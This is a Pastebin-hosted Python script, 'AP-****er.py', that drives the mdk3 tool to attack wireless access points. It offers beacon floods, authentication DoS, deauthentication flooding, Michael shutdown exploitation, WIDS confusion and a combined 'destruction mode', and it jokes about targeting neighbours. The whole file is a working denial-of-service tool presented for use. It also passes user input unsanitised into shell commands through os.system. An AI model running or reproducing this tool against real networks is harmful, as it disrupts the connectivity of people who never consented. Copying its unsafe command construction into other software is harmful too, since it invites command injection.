infodox

apfucker.py

Jan 16th, 2012
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.04 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: Utf-8 -*-
  3. #
  4. # WIRELESS ACCESS POINT ****ER
  5. # Interactive, Multifunction, Destruction Mode Included
  6. # Name: AP-****er.py
  7. # Version: 0.4
  8. # Coded by: MatToufoutu
  9. #
  10. # Thanks to BackTrack crew, especially ShamanVirtuel for his help and ASPJ for creating mdk3
  11. #
  12. # USAGE: Launch the script as root using "python AP-****er.py", follow instructions, enjoy!
  13. # Prerequisites: Have mdk3 installed
  14. #
  15.  
  16. ### IMPORTS
  17. import commands, os
  18. from sys import stdout, exit
  19. from threading import Thread
  20. from time import sleep, ctime
  21. try:
  22.     import psyco
  23.     psyco.profile()
  24. except ImportError:
  25.     pass
  26.  
  27. ### MDK3 THREADED ATTACKS CLASS
  28. class mdk3(Thread):
  29.     def __init__(self, attack, attack_options):
  30.         Thread.__init__(self)
  31.         self.attack = attack
  32.         self.iface = attack_options[0]
  33.         self.essid = attack_options[1]
  34.         self.bssid = attack_options[2]
  35.         self.chan = attack_options[3]
  36.         self.log = "ap****er.log"
  37.     def bflood(self):
  38.         out = open(self.log,"a")
  39.         out.write("\n ----- "+ctime()+" : Launching beacon flood against %s on channel %s -----" % (self.essid, self.chan))
  40.         out.close()
  41.         print("\n Launching beacon flood against %s on channel %s" % (self.essid, self.chan))
  42.         sleep(2)
  43.         os.system("mdk3 "+self.iface+" b -n "+self.essid+" -g -w -m -c "+self.chan+" >> "+self.log)
  44.     def ados(self):
  45.         out = open(self.log,"a")
  46.         out.write("\n ----- "+ctime()+" : Launching Auth DoS against %s -----" % (self.bssid))
  47.         out.close()
  48.         print("\n Launching Auth DoS against %s " % (self.bssid))
  49.         sleep(2)
  50.         os.system("mdk3 "+self.iface+" a -i "+self.bssid+" -m -s 1024 >> "+self.log)
  51.     def amok(self):
  52.         out = open(self.log,"a")
  53.         out.write("\n ----- "+ctime()+" : Launching Deauth Flood 'Amok' Mode on channel %s -----" % (self.chan))
  54.         out.close()
  55.         print("\n Launching Deauth Flood 'Amok' Mode on channel %s" % (self.chan))
  56.         sleep(2)
  57.         os.system("mdk3 "+self.iface+" d -c "+self.chan+" -s 1024 >> "+self.log)
  58.     def mich(self):
  59.         out = open(self.log,"a")
  60.         out.write("\n ----- "+ctime()+" : Launching Michael 'Shutdown' Exploitation against %s on channel %s -----" % (self.bssid, self.chan))
  61.         out.close()
  62.         print("\n Launching Michael 'Shutdown' Exploitation against %s on channel %s" % (self.bssid, self.chan))
  63.         sleep(2)
  64.         os.system("mdk3 "+self.iface+" m -t "+self.bssid+" -j -w 1 -n 1024 -s 1024 >> "+self.log)
  65.     def wids(self):
  66.         out = open(self.log,"a")
  67.         out.write("\n ----- "+ctime()+" : Launching WIDS Confusion against %s on channel %s -----" % (self.essid, self.chan))
  68.         out.close()
  69.         print("\n Launching WIDS Confusion against %s on channel %s" % (self.essid, self.chan))
  70.         sleep(2)
  71.         os.system("mdk3 "+self.iface+" w -e "+self.essid+" -c "+self.chan+" >> "+self.log)
  72.     def run(self):
  73.         if self.attack == "B":
  74.             self.bflood()
  75.         if self.attack == "A":
  76.             self.ados()
  77.         if self.attack == "D":
  78.             self.amok()
  79.         if self.attack == "M":
  80.             self.mich()
  81.         if self.attack == "W":
  82.             self.wids()
  83.  
  84. ### AUXILIARY FUNCTIONS
  85. ## CHECK IF IFACE IS IN MONITOR MODE
  86. def check_mon(iface):
  87.     for line in commands.getoutput("iwconfig "+iface).splitlines():
  88.         if "Mode:Monitor" in line:
  89.             return True
  90.     return False
  91.  
  92. ## CHECK IF BSSID IS VALID
  93. def check_mac(ap):
  94.     if len(ap) != 17 or ap.count(':') != 5:
  95.         return False
  96.     macchar="0123456789abcdef:"
  97.     for c in ap.lower():
  98.         if macchar.find(c) == -1:
  99.             return False
  100.     return True
  101.  
  102. ## CHECK IF CHANNEL IS VALID
  103. def check_chan(iface, chan):
  104.     if chan.isdigit():
  105.         channel=int(chan)
  106.         if not channel in range(1, int(commands.getoutput("iwlist "+iface+" channel | grep channels | awk '{print $2}'"))+1):
  107.             return False
  108.     else:
  109.         return False
  110.     return True
  111.  
  112. ## CLEAN EXIT
  113. def clean_exit():
  114.     print;print
  115.     print("\nAction aborted by user. Exiting now")
  116.     for pid in commands.getoutput("ps aux | grep mdk3 | grep -v grep | awk '{print $2}'").splitlines():
  117.         os.system("kill -9 "+pid)
  118.     print("Hope you enjoyed it ;-)")
  119.     sleep(3)
  120.     os.system("clear")
  121.     exit(0)
  122.  
  123. ## DUMMY WAITING MESSAGE (ANIMATED)
  124. def waiter(mess):
  125.     try:
  126.         stdout.write("\r | "+mess)
  127.         stdout.flush()
  128.         sleep(0.15)
  129.         stdout.write("\r / "+mess)
  130.         stdout.flush()
  131.         sleep(0.15)
  132.         stdout.write("\r-- "+mess)
  133.         stdout.flush()
  134.         sleep(0.15)
  135.         stdout.write("\r \\ "+mess)
  136.         stdout.flush()
  137.         sleep(0.15)
  138.         stdout.write("\r | "+mess)
  139.         stdout.flush()
  140.         sleep(0.15)
  141.         stdout.write("\r / "+mess)
  142.         stdout.flush()
  143.         sleep(0.15)
  144.         stdout.write("\r-- "+mess)
  145.         stdout.flush()
  146.         sleep(0.15)
  147.         stdout.write("\r \\ "+mess)
  148.         stdout.flush()
  149.         sleep(0.15)
  150.     except KeyboardInterrupt:
  151.         clean_exit()
  152.  
  153. ### MAIN APP
  154. attackAvail = ["B", "A", "W", "D", "M", "T"]
  155. attack_opt=[]
  156.  
  157. if commands.getoutput("whoami") != "root":
  158.     print("This script must be run as root !")
  159.     exit(0)
  160. try:
  161.     os.system("clear")
  162.     print("\n\t\t########## ACCESS POINT F.U.C.K.E.R ##########\n")
  163.     print("Choose your Mode:\n\t - (B)eacon flood\n\t - (A)uth DoS\n\t - (W)ids confusion\n\t - (D)isassociation 'AmoK Mode'\n\t - (M)ichael shutdown exploitation\n\t - Des(T)ruction mode (USE WITH CAUTION)\n")
  164.      
  165.     ## GET MODE
  166.     while 1:
  167.         mode = raw_input("\n>>> ")
  168.         if mode.upper() not in attackAvail:
  169.             print("  '%s' is not a valid mode !" % mode)
  170.         else:
  171.             break
  172.  
  173.     ## GET INTERFACE
  174.     while 1:
  175.         iface = raw_input("\nMonitor interface to use: ")
  176.         if check_mon(iface):
  177.             attack_opt.append(iface)
  178.             break
  179.         else:
  180.             print("%s is not a Monitor interface, try again or hit Ctrl+C to quit" % iface)
  181.  
  182.     ## GET ESSID
  183.     if mode.upper() == "B" or mode.upper() == "W" or mode.upper() == "T":
  184.         attack_opt.append("\""+raw_input("\nTarget ESSID: ")+"\"")
  185.     else:
  186.         attack_opt.append(None)
  187.  
  188.     ## GET BSSID
  189.     if mode.upper() == "A" or mode.upper() == "M" or mode.upper() == "T":
  190.         while 1:
  191.             bssid = raw_input("\nTarget BSSID: ")
  192.             if check_mac(bssid):
  193.                 attack_opt.append(bssid)
  194.                 break
  195.             else:
  196.                 print("Invalid BSSID, try again or hit Ctrl+C to quit")
  197.     else:
  198.         attack_opt.append(None)  
  199.  
  200.     ## GET CHANNEL
  201.     if mode.upper() == "B" or mode.upper() == "D" or mode.upper() == "W" or mode.upper() == "T":
  202.         while 1:
  203.             channel = raw_input("\nTarget channel: ")
  204.             if check_chan(iface, channel):
  205.                 attack_opt.append(channel)
  206.                 break
  207.             else:
  208.                 print("Channel can only be 1 to 14, try again or hit Ctrl+C to quit")
  209.     else:
  210.         attack_opt.append(None)
  211.  
  212.     ## LAUNCH SELECTED ATTACK
  213.     if os.path.exists("ap****er.log"):
  214.         os.unlink("ap****er.log")
  215.     if mode.upper() != "T":
  216.         os.system('clear')
  217.         mdk3(mode.upper(), attack_opt).start()
  218.         sleep(1)
  219.         print; print; print
  220.         while 1:
  221.             waiter("   ATTACK IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
  222.     else:
  223.         os.system('clear')
  224.         print("\n\t/!\\/!\\/!\\ WARNING /!\\/!\\/!\\\n")
  225.         print(" You've choosen DESTRUCTION MODE")
  226.         print(" Using this mode may harm your WiFi card, use it at your own risks.")
  227.         validate = raw_input(" Do you wish to continue? (y/N): ")
  228.         if validate.upper() != "Y":
  229.             print(" Ok, exiting now")
  230.             exit(0)
  231.         else:
  232.             out=open("ap****er.log","a")
  233.             out.write("\n ----- "+ctime()+" : Launching Destruction Combo. Target is AP %s|%s on channel %s -----" % (attack_opt[1], attack_opt[2], attack_opt[3]))
  234.             out.close()
  235.             print("\n Launching Destruction Combo\n Target is AP %s|%s on channel %s" % (attack_opt[1], attack_opt[2], attack_opt[3]))
  236.             print(" Please be kind with your neighbours xD")
  237.             mdk3("B", attack_opt).start()
  238.             mdk3("A", attack_opt).start()
  239.             mdk3("D", attack_opt).start()
  240.             mdk3("M", attack_opt).start()
  241.             ##wids may raise a segfault(internal mdk3 problem when multiple attacks apparently)
  242.             #mdk3("W",attack_opt).start()
  243.             sleep(1)
  244.             print; print; print
  245.             while 1:
  246.                 waiter("   DESTRUCTION COMBO IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
  247. except KeyboardInterrupt:
  248.     clean_exit()
Add Comment
Please, Sign In to add comment